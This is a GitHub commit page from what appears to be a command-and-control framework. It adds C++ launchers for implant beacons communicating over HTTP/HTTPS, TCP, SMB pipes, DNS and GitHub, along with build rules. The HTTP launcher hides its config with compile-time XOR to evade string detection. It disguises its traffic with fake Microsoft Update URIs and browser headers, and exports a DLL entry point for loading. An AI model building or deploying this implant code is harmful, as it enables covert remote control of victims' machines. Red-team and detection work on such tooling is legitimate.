Skip to content

Commit bf04b89

Browse files
author
maxdcb
committed
Beacon launcher move
1 parent 6958157 commit bf04b89

File tree

9 files changed

+364
-2
lines changed

9 files changed

+364
-2
lines changed

‎CMakeLists.txt‎

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -56,4 +56,6 @@ if(WITH_TESTS)
5656
add_subdirectory(core/listener/tests)
5757
endif()
5858

59-
59+
include_directories(core/beacon)
60+
include_directories(core/modules/ModuleCmd)
61+
add_subdirectory(beacon/beacon)

‎beacon/beacon/BeaconDnsLauncher.cpp‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
#include "BeaconDns.hpp"
2+
3+
4+
using namespace std;
5+
6+
7+
int main(int argc, char* argv[])
8+
{
9+
std::string dnsServer = "";
10+
if(argc > 1)
11+
dnsServer = argv[1];
12+
13+
std::string domain = "";
14+
if (argc > 2)
15+
domain = argv[2];
16+
17+
std::unique_ptr<Beacon> beacon;
18+
beacon = make_unique<BeaconDns>(dnsServer, domain);
19+
20+
beacon->run();
21+
}

‎beacon/beacon/BeaconGithubLauncher.cpp‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
#include "BeaconGithub.hpp"
2+
3+
4+
using namespace std;
5+
6+
7+
int main(int argc, char* argv[])
8+
{
9+
std::string project = "";
10+
if(argc > 1)
11+
project = argv[1];
12+
13+
std::string token = "";
14+
if (argc > 2)
15+
token = argv[2];
16+
17+
std::unique_ptr<Beacon> beacon;
18+
beacon = make_unique<BeaconGithub>(project, token);
19+
20+
beacon->run();
21+
}

‎beacon/beacon/BeaconHttpLauncher.cpp‎

Lines changed: 188 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,188 @@
1+
#include "BeaconHttp.hpp"
2+
3+
4+
using namespace std;
5+
6+
7+
// XOR encrypted at compile time, so don't appear in string
8+
// size of the config contained between () must be set in the compileTimeXOR template function
9+
constexpr std::string_view _BeaconHttpConfig_ = R"({
10+
"ListenerHttpConfig": [
11+
{
12+
"uri": [
13+
"/MicrosoftUpdate/ShellEx/KB242742/default.aspx",
14+
"/MicrosoftUpdate/ShellEx/KB242742/admin.aspx",
15+
"/MicrosoftUpdate/ShellEx/KB242742/download.aspx"
16+
],
17+
"client": [
18+
{
19+
"headers": [
20+
{
21+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
22+
},
23+
{
24+
"Connection": "Keep-Alive"
25+
},
26+
{
27+
"Content-Type": "text/plain;charset=UTF-8"
28+
},
29+
{
30+
"Content-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"
31+
},
32+
{
33+
"Authorization": "YWRtaW46c2RGSGVmODQvZkg3QWMtIQ=="
34+
},
35+
{
36+
"Keep-Alive": "timeout=5, max=1000"
37+
},
38+
{
39+
"Cookie": "PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1"
40+
},
41+
{
42+
"Accept": "*/*"
43+
},
44+
{
45+
"Sec-Ch-Ua": "\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\""
46+
},
47+
{
48+
"Sec-Ch-Ua-Platform": "Windows"
49+
}
50+
]
51+
}
52+
]
53+
}
54+
],
55+
"ListenerHttpsConfig": [
56+
{
57+
"uri": [
58+
"/MicrosoftUpdate/ShellEx/KB242742/default.aspx",
59+
"/MicrosoftUpdate/ShellEx/KB242742/upload.aspx",
60+
"/MicrosoftUpdate/ShellEx/KB242742/config.aspx"
61+
],
62+
"client": [
63+
{
64+
"headers": [
65+
{
66+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
67+
},
68+
{
69+
"Connection": "Keep-Alive"
70+
},
71+
{
72+
"Content-Type": "text/plain;charset=UTF-8"
73+
},
74+
{
75+
"Content-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"
76+
},
77+
{
78+
"Authorization": "YWRtaW46c2RGSGVmODQvZkg3QWMtIQ=="
79+
},
80+
{
81+
"Keep-Alive": "timeout=5, max=1000"
82+
},
83+
{
84+
"Cookie": "PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1"
85+
},
86+
{
87+
"Accept": "*/*"
88+
},
89+
{
90+
"Sec-Ch-Ua": "\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\""
91+
},
92+
{
93+
"Sec-Ch-Ua-Platform": "Windows"
94+
}
95+
]
96+
}
97+
]
98+
}
99+
]
100+
})";
101+
102+
constexpr std::string_view keyConfig = ".CRT$XCL";
103+
104+
// compile time encryption of http configuration
105+
constexpr std::array<char, 3564> _EncryptedBeaconHttpConfig_ = compileTimeXOR<3564, 8>(_BeaconHttpConfig_, keyConfig);
106+
107+
108+
int main(int argc, char* argv[])
109+
{
110+
std::string ip = "...";
111+
if(argc > 1)
112+
ip = argv[1];
113+
114+
int port = 8443;
115+
if (argc > 2)
116+
port = atoi(argv[2]);
117+
118+
bool https = false;
119+
if (argc > 3)
120+
{
121+
std::string sHttps = argv[3];
122+
if(sHttps=="https")
123+
https=true;
124+
else if(sHttps=="http")
125+
https=false;
126+
}
127+
128+
// decrypt HttpConfig
129+
std::string configDecrypt(std::begin(_EncryptedBeaconHttpConfig_), std::end(_EncryptedBeaconHttpConfig_));
130+
std::string key(keyConfig);
131+
XOR(configDecrypt, key);
132+
133+
std::unique_ptr<Beacon> beacon;
134+
beacon = make_unique<BeaconHttp>(configDecrypt, ip, port, https);
135+
136+
beacon->run();
137+
}
138+
139+
140+
#ifdef __linux__
141+
#elif _WIN32
142+
143+
extern "C" __declspec(dllexport) int go(PCHAR argv)
144+
{
145+
// OutputDebugStringA("HelperFunc was executed");
146+
// OutputDebugStringA(argv);
147+
148+
std::vector<std::string> splitedCmd;
149+
std::string delimiter = " ";
150+
splitList(argv, delimiter, splitedCmd);
151+
152+
// OutputDebugStringA(splitedCmd[0].c_str());
153+
// OutputDebugStringA(splitedCmd[1].c_str());
154+
// OutputDebugStringA(splitedCmd[2].c_str());
155+
156+
if (splitedCmd.size() == 3)
157+
{
158+
std::string ip = splitedCmd[0];
159+
int port = -1;
160+
try
161+
{
162+
port = stoi(splitedCmd[1]);
163+
}
164+
catch (...)
165+
{
166+
return 1;
167+
}
168+
169+
bool https = true;
170+
std::string sHttps = splitedCmd[2];
171+
if(sHttps=="https")
172+
https=true;
173+
174+
// decrypt HttpConfig
175+
std::string configDecrypt(std::begin(_EncryptedBeaconHttpConfig_), std::end(_EncryptedBeaconHttpConfig_));
176+
std::string key(keyConfig);
177+
XOR(configDecrypt, key);
178+
179+
std::unique_ptr<Beacon> beacon;
180+
beacon = make_unique<BeaconHttp>(configDecrypt, ip, port, https);
181+
182+
beacon->run();
183+
}
184+
185+
return 0;
186+
}
187+
188+
#endif

‎beacon/beacon/BeaconSmbLauncher.cpp‎

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
#include "BeaconSmb.hpp"
2+
3+
4+
using namespace std;
5+
6+
7+
int main(int argc, char* argv[])
8+
{
9+
std::string pipeName = "mynamedpipe";
10+
if(argc > 1)
11+
pipeName = argv[1];
12+
13+
std::unique_ptr<Beacon> beacon;
14+
beacon = make_unique<BeaconSmb>(pipeName);
15+
16+
beacon->run();
17+
}

‎beacon/beacon/BeaconTcpLauncher.cpp‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
#include "BeaconTcp.hpp"
2+
3+
4+
using namespace std;
5+
6+
7+
int main(int argc, char* argv[])
8+
{
9+
std::string ip = "127.0.0.1";
10+
if(argc > 1)
11+
ip = argv[1];
12+
13+
int port = 4444;
14+
if (argc > 2)
15+
port = atoi(argv[2]);
16+
17+
std::unique_ptr<Beacon> beacon;
18+
beacon = make_unique<BeaconTcp>(ip, port);
19+
20+
beacon->run();
21+
}

‎beacon/beacon/CMakeLists.txt‎

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
set(SOURCES_BEACON_HTTP_LAUNCHER
2+
BeaconHttpLauncher.cpp
3+
)
4+
add_executable(BeaconHttp ${SOURCES_BEACON_HTTP_LAUNCHER} project.rc)
5+
set_property(TARGET BeaconHttp PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
6+
target_link_libraries(BeaconHttp BeaconHttpLib)
7+
add_custom_command(TARGET BeaconHttp POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
8+
$<TARGET_FILE:BeaconHttp> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconHttp>")
9+
10+
11+
set(SOURCES_BEACON_TCP_LAUNCHER
12+
BeaconTcpLauncher.cpp
13+
)
14+
add_executable(BeaconTcp ${SOURCES_BEACON_TCP_LAUNCHER} project.rc)
15+
set_property(TARGET BeaconTcp PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
16+
target_link_libraries(BeaconTcp BeaconTcpLib)
17+
add_custom_command(TARGET BeaconTcp POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
18+
$<TARGET_FILE:BeaconTcp> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconTcp>")
19+
20+
21+
set(SOURCES_BEACON_GITHUB_LAUNCHER
22+
BeaconGithubLauncher.cpp
23+
)
24+
add_executable(BeaconGithub ${SOURCES_BEACON_GITHUB_LAUNCHER} project.rc)
25+
set_property(TARGET BeaconGithub PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
26+
target_link_libraries(BeaconGithub BeaconGithubLib)
27+
add_custom_command(TARGET BeaconGithub POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
28+
$<TARGET_FILE:BeaconGithub> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconGithub>")
29+
30+
31+
set(SOURCES_BEACON_SMB_LAUNCHER
32+
BeaconSmbLauncher.cpp
33+
)
34+
add_executable(BeaconSmb ${SOURCES_BEACON_SMB_LAUNCHER} project.rc)
35+
set_property(TARGET BeaconSmb PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
36+
target_link_libraries(BeaconSmb BeaconSmbLib)
37+
add_custom_command(TARGET BeaconSmb POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
38+
$<TARGET_FILE:BeaconSmb> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconSmb>")
39+
40+
41+
42+
set(SOURCES_BEACON_DNS_LAUNCHER
43+
BeaconDnsLauncher.cpp
44+
)
45+
add_executable(BeaconDns ${SOURCES_BEACON_DNS_LAUNCHER} project.rc)
46+
set_property(TARGET BeaconDns PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
47+
target_link_libraries(BeaconDns BeaconDnsLib)
48+
add_custom_command(TARGET BeaconDns POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
49+
$<TARGET_FILE:BeaconDns> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconDns>")
50+

‎beacon/beacon/project.rc‎

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
#include <winver.h>
2+
3+
#define VER_FILEVERSION 1,0,0,0
4+
#define VER_FILEVERSION_STR "1.0.0.0\0"
5+
6+
#define VER_PRODUCTVERSION 1,0,0,0
7+
#define VER_PRODUCTVERSION_STR "1.0.0\0"
8+
9+
#ifndef DEBUG
10+
#define VER_DEBUG 0
11+
#else
12+
#define VER_DEBUG VS_FF_DEBUG
13+
#endif
14+
15+
VS_VERSION_INFO VERSIONINFO
16+
FILEVERSION VER_FILEVERSION
17+
PRODUCTVERSION VER_PRODUCTVERSION
18+
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
19+
//FILEFLAGS (VER_PRIVATEBUILD|VER_PRERELEASE|VER_DEBUG)
20+
FILEOS VOS__WINDOWS32
21+
FILETYPE VFT_APP
22+
FILESUBTYPE VFT2_UNKNOWN
23+
BEGIN
24+
BLOCK "StringFileInfo"
25+
BEGIN
26+
BLOCK "040904E4" // United States (English)
27+
BEGIN
28+
VALUE "CompanyName", "Your Company Name\0"
29+
VALUE "FileDescription", "ProjectX Executable\0"
30+
VALUE "FileVersion", VER_FILEVERSION_STR
31+
VALUE "InternalName", "ProjectX\0"
32+
VALUE "OriginalFilename", "ProjectX.exe\0"
33+
VALUE "ProductName", "ProjectX\0"
34+
VALUE "ProductVersion", VER_PRODUCTVERSION_STR
35+
END
36+
END
37+
38+
BLOCK "VarFileInfo"
39+
BEGIN
40+
VALUE "Translation", 0x409, 1252
41+
END
42+
END

‎core‎

Submodule core updated 26 files

0 commit comments

Comments
 (0)